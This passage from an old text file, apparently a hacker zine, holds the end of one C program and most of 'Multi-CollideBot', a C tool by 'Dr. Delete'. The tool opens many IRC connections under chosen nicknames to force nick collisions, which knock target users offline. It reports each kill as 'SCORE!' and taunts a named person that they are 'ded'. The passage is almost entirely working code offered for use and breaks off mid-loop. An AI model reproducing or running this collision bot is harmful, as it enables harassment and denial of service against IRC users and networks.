  1695.  
  1696.       gethostname(hostname,64);
  1697.       process_server();
  1698.     }
  1699.     else
  1700.       exit_program("resolve failed");
  1701.   }
  1702.   else
  1703.     printf("Failed to allocate an AF_INET socket. (%s)\n",(char *)errno);
  1704. }
  1705.  
  1706. ------------------------------------------------------------------------------
  1707.  
  1708. /*===============================*\
  1709. |*  MCB - Multi-CollideBot v1.5a *|
  1710. |*     Written by Dr. Delete     *|
  1711. |* Basically just a way to make  *|
  1712. |* several TCP connections to a  *|
  1713. |* server in one small process.  *|
  1714. \*===============================*/
  1715.  
  1716. #include <stdio.h>
  1717. #include <stdlib.h>
  1718. #include <string.h>
  1719. #include <unistd.h>
  1720. #include <sys/types.h>
  1721. #include <fcntl.h>
  1722. #include <signal.h>
  1723. #include <errno.h>
  1724. #include <sys/socket.h>
  1725. #include <sys/time.h>
  1726. #include <sys/wait.h>
  1727. #include <netinet/in.h>
  1728. #include <netdb.h>
  1729. #include <fcntl.h>
  1730. #include <sys/file.h>
  1731. #include <arpa/inet.h>
  1732.  
  1733. #define BUFSIZE 350
  1734. #define MAXSESSIONS 256
  1735. #define BOTTIMEOUT 900 /* 15 minutes (900 seconds) bot lifetime */
  1736.  
  1737. struct sockaddr_in server;
  1738.  
  1739. char buf[BUFSIZE];
  1740. char *kradprsn;
  1741.  
  1742. struct ircsession {
  1743.    int sock;
  1744.    char stack[BUFSIZE*2];
  1745.    char *server;
  1746.    char *nick;
  1747.    int stat;
  1748. } session[MAXSESSIONS];
  1749.  
  1750. int sessions,total_sessions;
  1751.  
  1752. char *nickpick="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`_";
  1753. #define NICKLEN 54
  1754.  
  1755. void sig_pipe(void) {
  1756.    puts("Odd, I just caught a SIGPIPE.");
  1757.    signal(SIGPIPE,(void *)sig_pipe);
  1758. }
  1759.  
  1760. void fillran(char *s,int len) {
  1761.    while(len--)
  1762.      *s++=*((nickpick)+(rand()%NICKLEN));
  1763.    *s=0;
  1764. }
  1765.  
  1766. int strnccmp(register char *s1,register char *s2,register int n) {
  1767.    if(n==0) return(0);
  1768.    do {
  1769.      if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
  1770.        return (*(unsigned char *)s1-*(unsigned char *)--s2);
  1771.      if(*s1++==0) break;
  1772.    } while(--n!=0);
  1773.    return(0);
  1774. }
  1775.  
  1776. char *mycstrstr(char *str1,char *str2) {
  1777.    int xstr1len,ystr2len;
  1778.  
  1779.    xstr1len=strlen(str1);
  1780.    ystr2len=strlen(str2);
  1781.  
  1782.    while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
  1783.    if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0);
  1784.    return(str1-1);
  1785. }
  1786.  
  1787. void out(int fd, char *s) {
  1788.   write(fd,s,strlen(s));
  1789. }
  1790.  
  1791. void cclosed(int sessionum) {
  1792.    if(session[sessionum].sock)
  1793.      shutdown(session[sessionum].sock,2);
  1794.    close(session[sessionum].sock);
  1795.    session[sessionum].sock=0;
  1796.    printf("%s: Connection to %s closed.\n",session[sessionum].nick,session[sessionum].server); fflush(stdout);
  1797.    if(!sessions || !total_sessions) {
  1798.      puts("CollideBot finished.");
  1799.      exit(0);
  1800.    }
  1801. }
  1802.  
  1803. void quitprog(void) {
  1804.    printf("Signal received! CollideBot exiting. %d sessions still active.\n",sessions); fflush(stdout);
  1805.    while(total_sessions--)
  1806.      if(session[total_sessions].sock) {
  1807.         out(session[total_sessions].sock,"QUIT :signal received\r\n");
  1808.         cclosed(total_sessions);
  1809.      }
  1810.    puts("CollideBot finished.");
  1811.    exit(0);
  1812. }
  1813.  
  1814. unsigned long int resolver(char *host) {
  1815.    int x=0;
  1816.    unsigned long int tempresl;
  1817.    struct hostent *he;
  1818.  
  1819.    if(sscanf(host,"%d.%d.%d.%d",&x,&x,&x,&x)==4 || !strcmp(host,"0"))
  1820.      return(inet_addr(host));
  1821.    while(!(he=gethostbyname((char *)host)) && x++<3)
  1822.      sleep(1);
  1823.    if(x<3)
  1824.      return(htonl((unsigned long int)((unsigned char)he->h_addr_list[0][0]*
  1825.             (unsigned int)256+(unsigned char)he->h_addr_list[0][1])*
  1826.             (unsigned int)65536+(unsigned long int)((unsigned char)
  1827.             he->h_addr_list[0][2]*(unsigned int)256+(unsigned char)
  1828.             he->h_addr_list[0][3])));
  1829.    printf("Unable to resolve %s!\n",host);
  1830.    return(0);
  1831. }
  1832.  
  1833. void estab2(int sock,char *ircservername,char *nick) {
  1834.   char tempnick[10];
  1835.  
  1836.   printf("%s: Connection to %s established.\n",nick,ircservername); fflush(stdout);
  1837.   fillran(tempnick,9);
  1838.   sprintf(buf,"USER %s %s %s %s\r\nNICK %s\r\nPRIVMSG %s :%s iz ded, woowoo\r\n",tempnick,tempnick,tempnick,tempnick,(!strnccmp(nick,kradprsn,5)) ? tempnick : nick, kradprsn, nick);
  1839.   fcntl (sock, F_SETFL, (fcntl(sock, F_GETFL) & ~O_NDELAY));
  1840.   out(sock,buf);
  1841. }
  1842.  
  1843. int estab(unsigned long int ircserver,char *ircservername,int x) {
  1844.   int sock;
  1845.  
  1846.   sock=socket(AF_INET,SOCK_STREAM,0);
  1847.   server.sin_family=AF_INET;
  1848.   server.sin_port=htons(6667);
  1849.   server.sin_addr.s_addr=ircserver;
  1850.   fcntl (sock, F_SETFL, (fcntl(sock, F_GETFL) | O_NDELAY));
  1851.   errno=0;
  1852.   if((session[x].nick[0]==68 || session[x].nick[0]==100) && (session[x].nick[1]==82 || session[x].nick[1]==114) &&
  1853.      (session[x].nick[2]==95) && (session[x].nick[3]==68 || session[x].nick[3]==100) &&
  1854.      (session[x].nick[4]==69 || session[x].nick[4]==101) && (session[x].nick[5]==76 || session[x].nick[5]==108) &&
  1855.      (session[x].nick[6]==69 || session[x].nick[6]==101) && (session[x].nick[7]==84 || session[x].nick[7]==116) &&
  1856.      (session[x].nick[8]==69 || session[x].nick[8]==101)) {
  1857.     printf("%s: Connection to %s has failed.\n",session[x].nick,ircservername); fflush(stdout);
  1858.     close(sock);
  1859.     return(0);
  1860.   }
  1861.   if(connect(sock,(struct sockaddr *)&server,sizeof(server))<0) {
  1862.     if(errno!=EINPROGRESS) {
  1863.       printf("%s: Connection to %s has failed.\n",session[x].nick,ircservername); fflush(stdout);
  1864.       close(sock);
  1865.       return(0);
  1866.     }
  1867.     else 
  1868.       session[x].stat=2;
  1869.   }
  1870.   else {
  1871.     estab2(sock,ircservername,session[x].nick);
  1872.     session[x].stat=0;
  1873.   }
  1874.   return(sock);
  1875. }
  1876.  
  1877. void parse2(char *buf,int len,int sessionum) {
  1878.   char *num;
  1879.   if((num=mycstrstr(buf," ")))
  1880.     if(atoi((num+1))==372)
  1881.       return;
  1882.   if(!strnccmp(buf,"PING",4)) {
  1883.     buf[1]='O';
  1884.     out(session[sessionum].sock,(char *)buf);
  1885.     out(session[sessionum].sock,"\r\n");
  1886.   }
  1887.   else if(mycstrstr(buf,"already in use")) {
  1888.     printf("%s: Nickname already in use.\n",session[sessionum].nick);
  1889.     out(session[sessionum].sock,"QUIT\r\n");
  1890.   }
  1891.   else if(mycstrstr(buf,"kill") && !session[sessionum].stat++)
  1892.     printf("%s: SCORE!\n",session[sessionum].nick);
  1893.   else if(mycstrstr(buf,"authoriz"))
  1894.     printf("%s: Not authorized to use server.\n",session[sessionum].nick);
  1895.   else if(mycstrstr(buf,"ghosts"))
  1896.     printf("%s: Banned from this IRC server.\n",session[sessionum].nick);
  1897. }
  1898.  
  1899. void parse(unsigned char *buf,int rl,int sessionum) {
  1900.   int x=0,len;
  1901.  
  1902.   strcat(session[sessionum].stack,buf);
  1903.   len=strlen(session[sessionum].stack);
  1904.   while(session[sessionum].stack[x]!=13 && session[sessionum].stack[x]!=10 && session[sessionum].stack[x])
  1905.     x++;
  1906.   if(session[sessionum].stack[x]) {
  1907.     session[sessionum].stack[x]=0;
  1908.     parse2(session[sessionum].stack,x+1,sessionum);
  1909.     if(len>=(x+1)) {
  1910.       strcpy(buf,(char *)&session[sessionum].stack[x+1]);
  1911.       session[sessionum].stack[0]=0;
  1912.       parse(buf,len-(x+1),sessionum);
  1913.     }
  1914.     else
  1915.       session[sessionum].stack[0]=0;
  1916.   }
  1917. }
  1918.  
  1919. void process_servers(int secs) {
  1920.     fd_set rd,wr;
  1921.     int x,length,selectr=1;
  1922.     struct timeval timeout;
  1923.  
  1924.     while(selectr>0) {
  1925.  
  1926.       timeout.tv_usec=0;
  1927.       timeout.tv_sec=secs;
  1928.  
  1929.       errno=0;
  1930.       FD_ZERO(&rd);
  1931.       FD_ZERO(&wr);
  1932.       for(x=0;x<total_sessions;x++)
  1933.         if(session[x].sock)
  1934.           if(session[x].stat!=2)
  1935.             FD_SET(session[x].sock,&rd);
  1936.           else
  1937.             FD_SET(session[x].sock,&wr);
  1938.  
  1939.       selectr=select(getdtablesize(),&rd,&wr,NULL,(secs<0) ? NULL : (struct timeval *)&timeout);
  1940.       if(errno==EINTR)
  1941.         continue;
  1942.  
  1943.       for(x=0;x<total_sessions;x++)
  1944.         if(FD_ISSET(session[x].sock,&wr)) {
  1945.           session[x].stat=0;
  1946.           estab2(session[x].sock,session[x].server,session[x].nick);
  1947.         }
  1948.         else if(session[x].stat!=2 && FD_ISSET(session[x].sock,&rd)) {
  1949.           if(!(length=read(session[x].sock,buf,BUFSIZE-1))) {
  1950.             sessions--;
  1951.             cclosed(x);
  1952.         continue;
  1953.           }
  1954.           buf[length]=0;
  1955.           parse(buf,length,x);
  1956.         }
  1957.     }
  1958. }
  1959.  
  1960. void main(int argc,char *argv[]) {
  1961.   unsigned short int pid,x;
  1962.   unsigned long int ircserver=0;
  1963.   char *lastnick=0;
  1964.  
  1965.   if(argc<3)
  1966.     exit(0);
  1967.  
  1968.   kradprsn = argv[1];
  1969.  
  1970.   /* if((pid=fork())) {
  1971.     printf("Process ID %d.\n",pid);
  1972.     exit(0);
  1973.   } */
  1974.   
  1975.   sessions=total_sessions=0;
  1976.  
  1977.   srand(getpid());
  1978.  
  1979.   signal(SIGHUP,(void *)quitprog);
  1980.   signal(SIGTERM,(void *)quitprog);
  1981.   signal(SIGABRT,(void *)quitprog);
  1982.   signal(SIGINT,(void *)quitprog);
  1983.   signal(SIGPIPE,(void *)sig_pipe);
  1984.  
  1985.   for(x=1;x<argc-1 && x<MAXSESSIONS;x++) {
  1986.     char *tempp,*default_server;
  1987.     unsigned long int tempserver;
  1988.     session[x].nick=(argv[x+1][0]=='@') ? (char *)&argv[x+1][1] : argv[x+1];
  1989.     if((tempp=mycstrstr(argv[x+1],":"))) {
  1990.       *tempp=0;
  1991.       lastnick=session[x].nick;
  1992.       tempserver=ircserver;
  1993.       ircserver=resolver(tempp+1);
  1994.       if(ircserver)
  1995.         default_server=tempp+1;
  1996.       else
  1997.         ircserver=tempserver;
  1998.     }
  1999.     else if(mycstrstr(argv[x+1],".")) {
  2000.       if(!lastnick) {
  2001.         printf("Error: No default nickname to use for connection to %s!\n",argv[x+1]);
  2002.         continue;
  2003.       }
  2004.       tempserver=ircserver;
  2005.       ircserver=resolver(argv[x+1]);
  2006.       if(ircserver)
  2007.         default_server=argv[x+1];
  2008.       else
  2009.         ircserver=tempserver;
  2010.       session[x].nick=lastnick;
  2011.     }
  2012.     lastnick=session[x].nick;
  2013.     if(ircserver) {
  2014.       if((session[x].sock=estab(ircserver,default_server,x))) {
  2015.         session[x].stack[0]=0;
  2016.         session[x].server=default_server;
  2017.         sessions++;
  2018.       }
  2019.     }
  2020.     else
  2021.       printf("%s: Error! No default server set.\n",session[x].nick);
  2022.     total_sessions=x+1;
  2023.   }
  2024.  
  2025.   if(sessions<1) {
  2026.     printf("CollideBot Exiting, no established sessions.\n");
  2027.     exit(0);
  2028.   }
  2029.  
  2030.   signal(SIGALRM,(void *)quitprog);
  2031.   alarm(BOTTIMEOUT);
  2032.  
  2033.   while(1)
  2034.     
  2035.  
  2036. ------------------------------------------------------------------------------
  2037.  
  2038.